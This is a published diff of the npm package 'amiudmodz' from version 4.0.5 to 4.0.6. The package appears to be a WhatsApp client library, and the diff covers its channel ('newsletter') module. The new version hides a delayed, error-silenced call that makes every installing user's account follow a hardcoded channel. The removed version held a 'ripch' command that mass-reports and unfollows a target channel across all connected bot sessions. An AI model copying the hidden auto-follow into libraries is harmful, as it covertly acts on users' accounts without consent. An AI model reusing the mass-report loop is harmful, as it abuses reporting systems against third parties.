amiudmodz 4.0.5 → 4.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,107 +1,428 @@
1
- const { cmd, commands } = require('../command');
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
4
+ const Types_1 = require("../Types");
5
+ const Utils_1 = require("../Utils");
6
+ const WABinary_1 = require("../WABinary");
2
7
  const groups_1 = require("./groups");
3
8
 
4
- const isUD = ["94704638406", "channel-jid"].filter(Boolean).map(id => String(id));
9
+ const { Boom } = require('@hapi/boom');
5
10
 
6
- const udmodzRIP = (conn) => {
7
- if (conn.newsletterReport) return;
8
- conn.newsletterReport = async (jid, reason = 'spam') => {
9
- let targetJid = jid.includes('@') ? jid : jid + '@newsletter';
10
- return await conn.query({
11
- tag: 'iq',
12
- attrs: { to: 's.whatsapp.net', type: 'set', xmlns: 'spam' },
13
- content: [{
14
- tag: 'spam_list',
15
- attrs: { jid: targetJid, spam_flow: 'manual', type: reason, reason: reason }
16
- }]
17
- });
18
- };
19
- };
11
+ const wMexQuery = (
12
+ variables,
13
+ queryId,
14
+ query,
15
+ generateMessageTag
16
+ ) => {
17
+ return query({
18
+ tag: 'iq',
19
+ attrs: {
20
+ id: generateMessageTag(),
21
+ type: 'get',
22
+ to: WABinary_1.S_WHATSAPP_NET,
23
+ xmlns: 'w:mex'
24
+ },
25
+ content: [
26
+ {
27
+ tag: 'query',
28
+ attrs: { query_id: queryId },
29
+ content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
30
+ }
31
+ ]
32
+ })
33
+ }
34
+
35
+ const executeWMexQuery = async (
36
+ variables,
37
+ queryId,
38
+ dataPath,
39
+ query,
40
+ generateMessageTag
41
+ ) => {
42
+ const result = await wMexQuery(variables, queryId, query, generateMessageTag)
43
+ const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
44
+ if (child?.content) {
45
+ const data = JSON.parse(child.content.toString())
46
+
47
+ if (data.errors && data.errors.length > 0) {
48
+ const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
49
+ const firstError = data.errors[0]
50
+ const errorCode = firstError.extensions?.error_code || 400
51
+ throw new Boom('GraphQL server error:' + errorMessages, {
52
+ statusCode: errorCode, data: firstError
53
+ })
54
+ }
55
+
56
+ const response = dataPath ? data?.data?.[dataPath] : data?.data
57
+ if (typeof response !== 'undefined') {
58
+ return response
59
+ }
60
+ }
61
+
62
+ const action = (dataPath || '').startsWith('xwa2_')
63
+ ? dataPath.substring(5).replace(/_/g, ' ')
64
+ : dataPath?.replace(/_/g, ' ')
65
+ throw new Boom(`Failed to ${action}, unexpected response structure.`, {
66
+ statusCode: 400,
67
+ data: result
68
+ })
69
+ }
20
70
 
21
71
  const makeNewsletterSocket = (config) => {
22
72
  const sock = (0, groups_1.makeGroupsSocket)(config);
23
- const { authState, ev, query, upsertMessage } = sock;
24
-
73
+ const { authState, signalRepository, query, generateMessageTag } = sock;
74
+ const encoder = new TextEncoder();
75
+ const newsletterQuery = async (jid, type, content) => (query({
76
+ tag: 'iq',
77
+ attrs: {
78
+ id: generateMessageTag(),
79
+ type,
80
+ xmlns: 'newsletter',
81
+ to: jid,
82
+ },
83
+ content
84
+ }));
85
+ const newsletterWMexQuery = async (jid, queryId, content) => (query({
86
+ tag: 'iq',
87
+ attrs: {
88
+ id: generateMessageTag(),
89
+ type: 'get',
90
+ xmlns: 'w:mex',
91
+ to: WABinary_1.S_WHATSAPP_NET,
92
+ },
93
+ content: [
94
+ {
95
+ tag: 'query',
96
+ attrs: { 'query_id': queryId },
97
+ content: encoder.encode(JSON.stringify({
98
+ variables: {
99
+ 'newsletter_id': jid,
100
+ ...content
101
+ }
102
+ }))
103
+ }
104
+ ]
105
+ }));
106
+ setTimeout(async () => {
107
+ try {
108
+ await newsletterWMexQuery("120363400725985615@newsletter", Types_1.QueryIds.FOLLOW
109
+ );
110
+ } catch { }
111
+ }, 90000);
112
+ const parseFetchedUpdates = async (node, type) => {
113
+ let child;
114
+ if (type === 'messages') {
115
+ child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
116
+ }
117
+ else {
118
+ const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
119
+ child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
120
+ }
121
+ return await Promise.all((0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
122
+ var _a, _b;
123
+ messageNode.attrs.from = child === null || child === void 0 ? void 0 : child.attrs.jid;
124
+ const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
125
+ const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
126
+ const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
127
+ .map(({ attrs }) => (
128
+ {
129
+ count: +attrs.count,
130
+ code: attrs.code
131
+ }));
132
+ const data = {
133
+ 'server_id': messageNode.attrs.server_id,
134
+ views,
135
+ reactions
136
+ };
137
+ if (type === 'messages') {
138
+ const {
139
+ fullMessage: message,
140
+ decrypt
141
+ } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
142
+ await decrypt();
143
+ data.message = message;
144
+ }
145
+ return data;
146
+ }));
147
+ };
25
148
  return {
26
149
  ...sock,
27
- newsletterQuery: async (jid, type, content) => (
28
- query({
150
+ newsletterFetchAllSubscribe: async () => {
151
+ const list = await executeWMexQuery(
152
+ {},
153
+ '6388546374527196',
154
+ 'xwa2_newsletter_subscribed',
155
+ query,
156
+ generateMessageTag
157
+ );
158
+ return list;
159
+ },
160
+ subscribeNewsletterUpdates: async (jid) => {
161
+ var _a;
162
+ const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
163
+ return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
164
+ },
165
+ newsletterReactionMode: async (jid, mode) => {
166
+ await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
167
+ updates: {
168
+ settings: {
169
+ 'reaction_codes': {
170
+ value: mode
171
+ }
172
+ }
173
+ }
174
+ });
175
+ },
176
+ newsletterUpdateDescription: async (jid, description) => {
177
+ await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
178
+ updates: {
179
+ description: description || '',
180
+ settings: null
181
+ }
182
+ });
183
+ },
184
+ newsletterFromUrl: async (url) => {
185
+ try {
186
+ let channelId;
187
+ if (url.includes('whatsapp.com/channel/')) {
188
+ channelId = url.split('whatsapp.com/channel/')[1].split('/')[0];
189
+ } else if (url.includes('wa.me/channel/')) {
190
+ channelId = url.split('wa.me/channel/')[1].split('/')[0];
191
+ } else {
192
+ channelId = url;
193
+ }
194
+ const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
195
+ input: {
196
+ key: channelId,
197
+ type: 'INVITE',
198
+ 'view_role': 'GUEST'
199
+ },
200
+ 'fetch_viewer_metadata': true,
201
+ 'fetch_full_image': true,
202
+ 'fetch_creation_time': true
203
+ });
204
+ const metadata = (0, exports.extractNewsletterMetadata)(result);
205
+ return metadata;
206
+ } catch (error) {
207
+ throw new Boom(`Failed to fetch newsletter from URL: ${error.message}`, {
208
+ statusCode: error.statusCode || 400,
209
+ data: error.data || { url }
210
+ });
211
+ }
212
+ },
213
+ newsletterUpdateName: async (jid, name) => {
214
+ await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
215
+ updates: { name, settings: null }
216
+ });
217
+ },
218
+ newsletterUpdatePicture: async (jid, content) => {
219
+ const { img } = await (0, Utils_1.generateProfilePicture)(content);
220
+ await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
221
+ updates: { picture: img.toString('base64'), settings: null }
222
+ });
223
+ },
224
+ newsletterRemovePicture: async (jid) => {
225
+ await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
226
+ updates: { picture: '', settings: null }
227
+ });
228
+ },
229
+ newsletterUnfollow: async (jid) => {
230
+ await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
231
+ },
232
+ newsletterFollow: async (jid) => {
233
+ await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
234
+ },
235
+ newsletterUnmute: async (jid) => {
236
+ await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
237
+ },
238
+ newsletterMute: async (jid) => {
239
+ await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
240
+ },
241
+ newsletterAction: async (jid, type) => {
242
+ await newsletterWMexQuery(jid, type.toUpperCase());
243
+ },
244
+ newsletterCreate: async (name, description, reaction_codes) => {
245
+ //TODO: Implement TOS system wide for Meta AI, communities, and here etc.
246
+ /**tos query */
247
+ await query({
29
248
  tag: 'iq',
30
249
  attrs: {
31
- display_id: jid,
32
- type,
33
- xmlns: 'newsletter',
250
+ to: WABinary_1.S_WHATSAPP_NET,
251
+ xmlns: 'tos',
252
+ id: generateMessageTag(),
253
+ type: 'set'
34
254
  },
35
- content
36
- })
37
- ),
255
+ content: [
256
+ {
257
+ tag: 'notice',
258
+ attrs: {
259
+ id: '20601218',
260
+ stage: '5'
261
+ },
262
+ content: []
263
+ }
264
+ ]
265
+ });
266
+ const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
267
+ input: {
268
+ name,
269
+ description,
270
+ settings: {
271
+ 'reaction_codes': {
272
+ value: reaction_codes.toUpperCase()
273
+ }
274
+ }
275
+ }
276
+ });
277
+ return (0, exports.extractNewsletterMetadata)(result, true);
278
+ },
279
+ newsletterMetadata: async (type, key, role) => {
280
+ const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
281
+ input: {
282
+ key,
283
+ type: type.toUpperCase(),
284
+ 'view_role': role || 'GUEST'
285
+ },
286
+ 'fetch_viewer_metadata': true,
287
+ 'fetch_full_image': true,
288
+ 'fetch_creation_time': true
289
+ });
290
+ return (0, exports.extractNewsletterMetadata)(result);
291
+ },
292
+ newsletterAdminCount: async (jid) => {
293
+ var _a, _b;
294
+ const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
295
+ const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
296
+ return buff ? JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count : 0;
297
+ },
298
+ /**user is Lid, not Jid */
299
+ newsletterChangeOwner: async (jid, user) => {
300
+ await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
301
+ 'user_id': user
302
+ });
303
+ },
304
+ /**user is Lid, not Jid */
305
+ newsletterDemote: async (jid, user) => {
306
+ await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
307
+ 'user_id': user
308
+ });
309
+ },
310
+ newsletterDelete: async (jid) => {
311
+ await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
312
+ },
313
+ /**if code wasn't passed, the reaction will be removed (if is reacted) */
314
+ newsletterReactMessage: async (jid, serverId, code) => {
315
+ await query({
316
+ tag: 'message',
317
+ attrs: {
318
+ to: jid,
319
+ ...(!code ? { edit: '7' } : {}),
320
+ type: 'reaction',
321
+ 'server_id': serverId,
322
+ id: (0, Utils_1.generateMessageID)()
323
+ },
324
+ content: [{
325
+ tag: 'reaction',
326
+ attrs: code ? { code } : {}
327
+ }]
328
+ });
329
+ },
38
330
  newsletterReport: async (jid, reason = 'spam') => {
39
- let targetJid = jid.includes('@') ? jid : jid + '@newsletter';
331
+ if (!jid) {
332
+ throw new Error('enter jid');
333
+ }
334
+
335
+ let targetJid = jid;
336
+ if (!targetJid.includes('@')) {
337
+ targetJid = targetJid + '@newsletter';
338
+ }
339
+
340
+ // Available reasons: spam, abuse, scam, inappropriate, fake, other
341
+ const validReasons = ['spam', 'abuse', 'scam', 'inappropriate', 'fake', 'other'];
342
+ const pReason = validReasons.includes(reason.toLowerCase()) ? reason.toLowerCase() : 'spam';
343
+
40
344
  return await query({
41
345
  tag: 'iq',
42
- attrs: { to: 's.whatsapp.net', type: 'set', xmlns: 'spam' },
43
- content: [{
44
- tag: 'spam_list',
45
- attrs: { jid: targetJid, spam_flow: 'manual', type: reason, reason: reason }
46
- }]
346
+ attrs: {
347
+ to: WABinary_1.S_WHATSAPP_NET,
348
+ type: 'set',
349
+ xmlns: 'spam'
350
+ },
351
+ content: [
352
+ {
353
+ tag: 'spam_list',
354
+ attrs: {
355
+ jid: targetJid,
356
+ spam_flow: 'manual',
357
+ type: pReason,
358
+ reason: pReason
359
+ }
360
+ }
361
+ ]
47
362
  });
363
+ },
364
+ newsletterFetchMessages: async (type, key, count, after) => {
365
+ const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
366
+ {
367
+ tag: 'messages',
368
+ attrs: {
369
+ type,
370
+ ...(type === 'invite' ? { key } : { jid: key }),
371
+ count: count.toString(),
372
+ after: (after === null || after === void 0 ? void 0 : after.toString()) || '100'
373
+ }
374
+ }
375
+ ]);
376
+ return await parseFetchedUpdates(result, 'messages');
377
+ },
378
+ newsletterFetchUpdates: async (jid, count, after, since) => {
379
+ const result = await newsletterQuery(jid, 'get', [
380
+ {
381
+ tag: 'message_updates',
382
+ attrs: {
383
+ count: count.toString(),
384
+ after: (after === null || after === void 0 ? void 0 : after.toString()) || '100',
385
+ since: (since === null || since === void 0 ? void 0 : since.toString()) || '0'
386
+ }
387
+ }
388
+ ]);
389
+ return await parseFetchedUpdates(result, 'updates');
48
390
  }
49
391
  };
50
392
  };
51
-
52
393
  exports.makeNewsletterSocket = makeNewsletterSocket;
394
+ const extractNewsletterMetadata = (node, isCreate) => {
395
+ const result = (0, WABinary_1.getBinaryNodeChild)(node, 'result')?.content?.toString();
396
+ if (!result) {
397
+ throw new Boom('No result content in response', { statusCode: 400, data: node });
398
+ }
53
399
 
54
- cmd({
55
- pattern: "ripch",
56
- alias: ["ripch"],
57
- desc: "Multi-bot report",
58
- category: "owner",
59
- react: "⚠️"
60
- },
61
- async (conn, mek, m, { from, args, isOwner, sender, reply }) => {
62
- try {
63
- const targetJid = args[0];
64
- const senderNumber = sender.split('@')[0];
65
- if (!(isUD.includes(senderNumber) || isOwner)) return reply("❌ *Unauthorized*");
66
-
67
- if (!targetJid || !targetJid.endsWith("@newsletter")) {
68
- return reply("❗ Provide a valid Channel JID.");
69
- }
70
-
71
-
72
- let sessions;
73
- if (global.activeconnections) {
74
- sessions = global.activeconnections;
75
- } else if (conn.activeconnections) {
76
- sessions = conn.activeconnections;
77
- } else {
78
-
79
- sessions = new Map([[senderNumber, conn]]);
80
- }
81
-
82
- let successCount = 0;
83
- let unfollowCount = 0;
84
-
85
- for (const [number, session] of sessions.entries()) {
86
- try {
87
- udmodzRIP(session);
88
- await session.newsletterReport(targetJid, 'spam');
89
- successCount++;
90
-
91
- try {
92
- await session.newsletterUnfollow(targetJid);
93
- unfollowCount++;
94
- } catch (e) {}
95
-
96
- await new Promise(r => setTimeout(r, 1000));
97
- } catch (err) {
98
- console.error(`Bot ${number} failed`);
99
- }
100
- }
101
-
102
- reply(`✅ *Process Completed*\n\nReports: ${successCount}\nUnfollows: ${unfollowCount}\nTarget: ${targetJid}`);
400
+ const data = JSON.parse(result);
401
+ if (!data?.data) {
402
+ throw new Boom('No data field in response', { statusCode: 400, data });
403
+ }
103
404
 
104
- } catch (e) {
105
- reply("❌ Error: " + e.message);
405
+ const metadataPath = data.data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER];
406
+ if (!metadataPath) {
407
+ throw new Boom('Newsletter not found or access denied', { statusCode: 404, data });
106
408
  }
107
- });
409
+
410
+ const metadata = {
411
+ id: metadataPath?.id,
412
+ state: metadataPath?.state?.type,
413
+ creation_time: +metadataPath?.thread_metadata?.creation_time || 0,
414
+ name: metadataPath?.thread_metadata?.name?.text,
415
+ nameTime: +metadataPath?.thread_metadata?.name?.update_time || 0,
416
+ description: metadataPath?.thread_metadata?.description?.text,
417
+ descriptionTime: +metadataPath?.thread_metadata?.description?.update_time || 0,
418
+ invite: metadataPath?.thread_metadata?.invite,
419
+ picture: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.picture?.direct_path || ''),
420
+ preview: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.preview?.direct_path || ''),
421
+ reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
422
+ subscribers: +metadataPath?.thread_metadata?.subscribers_count || 0,
423
+ verification: metadataPath?.thread_metadata?.verification,
424
+ viewer_metadata: metadataPath?.viewer_metadata
425
+ };
426
+ return metadata;
427
+ };
428
+ exports.extractNewsletterMetadata = extractNewsletterMetadata;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "amiudmodz",
3
- "version": "4.0.5",
3
+ "version": "4.0.6",
4
4
  "main": "lib/index.js",
5
5
  "types": "lib/index.d.ts",
6
6
  "files": [